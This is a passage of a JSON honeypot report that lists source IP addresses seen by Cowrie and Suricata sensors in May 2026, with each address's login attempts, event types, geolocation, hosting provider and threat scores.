    "158.106.77.17": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:38:29.265Z",
      "last_seen": "2026-05-05T00:38:35.937Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Markham",
      "asn": 23498,
      "as_org": "Beanfield Technologies Inc.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:38:29.265000+00:00",
        "last_seen_30d": "2026-05-05T00:39:45.242000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.152.162.185": {
      "attack_count": 6,
      "first_seen": "2026-05-05T01:09:04.544Z",
      "last_seen": "2026-05-05T01:09:12.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "V\u00e9lizy-Villacoublay",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:09:04.544000+00:00",
        "last_seen_30d": "2026-05-05T01:10:19.211000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "65.108.249.33": {
      "attack_count": 6,
      "first_seen": "2026-05-31T02:18:17.039Z",
      "last_seen": "2026-05-31T02:18:24.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:18:17.039000+00:00",
        "last_seen_30d": "2026-05-31T02:19:33.172000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "42.51.40.180": {
      "attack_count": 5,
      "first_seen": "2026-05-23T17:27:25.715Z",
      "last_seen": "2026-05-23T17:27:28.693Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Qwer123$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 56005,
      "as_org": "Zhengzhou Fastidc Technology Co.,Ltd.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:27:25.715000+00:00",
        "last_seen_30d": "2026-05-23T17:28:36.391000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "104.152.52.217": {
      "attack_count": 4,
      "first_seen": "2026-05-25T05:19:37.203Z",
      "last_seen": "2026-05-25T05:19:37.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:34:56.635000+00:00",
        "last_seen_30d": "2026-05-25T05:20:37.959000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "177.65.38.57": {
      "attack_count": 4,
      "first_seen": "2026-05-22T03:41:17.004Z",
      "last_seen": "2026-05-22T03:43:22.335Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mesquita",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:16:18.946000+00:00",
        "last_seen_30d": "2026-05-22T03:44:28.822000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "182.247.205.91": {
      "attack_count": 4,
      "first_seen": "2026-05-22T04:10:02.617Z",
      "last_seen": "2026-05-22T11:25:58.151Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:10:02.617000+00:00",
        "last_seen_30d": "2026-05-22T11:26:58.994000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.197": {
      "attack_count": 4,
      "first_seen": "2026-05-06T10:16:09.973Z",
      "last_seen": "2026-05-06T10:16:14.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 67.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.1,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 25,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T06:35:52.879000+00:00",
        "last_seen_30d": "2026-05-26T21:22:38.497000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 29,
        "Mailoney": 5,
        "Cowrie": 4
      }
    },
    "198.235.24.99": {
      "attack_count": 4,
      "first_seen": "2026-05-22T16:29:58.168Z",
      "last_seen": "2026-05-22T16:30:01.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T02:35:36+00:00",
        "last_seen_30d": "2026-05-30T09:33:16.304000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "205.200.179.20": {
      "attack_count": 4,
      "first_seen": "2026-05-10T23:26:50.812Z",
      "last_seen": "2026-05-11T00:39:24.420Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Winnipeg",
      "asn": 7122,
      "as_org": "Bell Canada",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:15:42.575000+00:00",
        "last_seen_30d": "2026-05-11T00:40:19.616000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4
      }
    },
    "35.216.234.82": {
      "attack_count": 4,
      "first_seen": "2026-05-15T12:58:08.284Z",
      "last_seen": "2026-05-15T12:58:09.290Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:02:06.262000+00:00",
        "last_seen_30d": "2026-05-31T05:14:11.786000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Dionaea": 10,
        "Cowrie": 4,
        "ElasticPot": 2,
        "H0neytr4p": 1
      }
    },
    "44.220.188.84": {
      "attack_count": 4,
      "first_seen": "2026-05-13T19:55:37.769Z",
      "last_seen": "2026-05-13T19:55:39.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T19:55:37.769000+00:00",
        "last_seen_30d": "2026-05-23T22:19:09.655000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 7,
        "Cowrie": 4
      }
    },
    "45.185.225.67": {
      "attack_count": 4,
      "first_seen": "2026-05-25T00:05:22.443Z",
      "last_seen": "2026-05-25T00:09:25.056Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapo\u00e3",
      "asn": 269405,
      "as_org": "CONECT TEC TELECOMUNICACOES LTDA",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:05:22.443000+00:00",
        "last_seen_30d": "2026-05-25T00:19:26.748000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "138.197.144.37": {
      "attack_count": 3,
      "first_seen": "2026-05-30T00:32:34.215Z",
      "last_seen": "2026-05-30T00:32:34.216Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 77.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 18,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-13T16:33:25.770000+00:00",
        "last_seen_30d": "2026-05-30T00:33:44.616000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 14,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "103.74.194.153": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:39:16.119Z",
      "last_seen": "2026-05-04T09:41:16.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 133861,
      "as_org": "SonderCloud Limited",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:39:16.119000+00:00",
        "last_seen_30d": "2026-05-04T09:42:23.652000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.29.87.103": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:08:29.828Z",
      "last_seen": "2026-05-03T02:08:42.937Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Taean-gun",
      "asn": 38669,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:08:29.828000+00:00",
        "last_seen_30d": "2026-05-03T02:09:53.087000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.248.164.228": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:43:23.466Z",
      "last_seen": "2026-05-23T07:43:55.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:43:23.466000+00:00",
        "last_seen_30d": "2026-05-23T07:44:59.846000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.233.112.119": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:51:25.318Z",
      "last_seen": "2026-05-10T12:51:38.663Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Huzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:51:25.318000+00:00",
        "last_seen_30d": "2026-05-10T12:52:41.268000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.168.184.237": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:47:55.262Z",
      "last_seen": "2026-05-23T13:48:29.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:47:55.262000+00:00",
        "last_seen_30d": "2026-05-23T13:49:31.139000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.113.232.20": {
      "attack_count": 2,
      "first_seen": "2026-05-10T07:18:14.490Z",
      "last_seen": "2026-05-10T07:18:27.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:18:14.490000+00:00",
        "last_seen_30d": "2026-05-10T07:19:36.579000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.0.9.134": {
      "attack_count": 2,
      "first_seen": "2026-05-08T13:57:03.471Z",
      "last_seen": "2026-05-08T13:57:16.395Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Teixeiras",
      "asn": 61724,
      "as_org": "VICOSANET TELECOM",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:57:03.471000+00:00",
        "last_seen_30d": "2026-05-08T13:58:26.511000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "149.78.54.122": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:54:56.724Z",
      "last_seen": "2026-05-22T15:55:24.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Moreno",
      "asn": 263801,
      "as_org": "LINKEAR SRL",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:54:56.724000+00:00",
        "last_seen_30d": "2026-05-22T15:57:40.357000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "156.205.54.204": {
      "attack_count": 2,
      "first_seen": "2026-05-08T22:39:10.122Z",
      "last_seen": "2026-05-08T22:39:23.704Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "El Shorouk",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:39:10.122000+00:00",
        "last_seen_30d": "2026-05-08T22:40:32.758000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "159.242.220.203": {
      "attack_count": 2,
      "first_seen": "2026-05-09T17:09:08.190Z",
      "last_seen": "2026-05-09T17:09:20.480Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Blanchard",
      "asn": 11650,
      "as_org": "Pioneer Long Distance Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:09:08.190000+00:00",
        "last_seen_30d": "2026-05-09T17:10:22.513000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.121.228": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:15:47.557Z",
      "last_seen": "2026-05-23T10:16:00.556Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:15:47.557000+00:00",
        "last_seen_30d": "2026-05-23T10:17:02.806000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "164.163.99.111": {
      "attack_count": 2,
      "first_seen": "2026-05-05T10:43:57.608Z",
      "last_seen": "2026-05-05T10:44:09.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Joaquim T\u00e1vora",
      "asn": 265949,
      "as_org": "INFO TELECOM INTERNET LTDA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:43:57.608000+00:00",
        "last_seen_30d": "2026-05-05T10:45:10.764000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.228.185": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:46:50.307Z",
      "last_seen": "2026-05-23T01:47:03.769Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:46:50.307000+00:00",
        "last_seen_30d": "2026-05-23T01:48:04.984000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.228.19": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:59:05.153Z",
      "last_seen": "2026-05-24T04:59:17.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:59:05.153000+00:00",
        "last_seen_30d": "2026-05-24T05:00:22.163000+00:00",
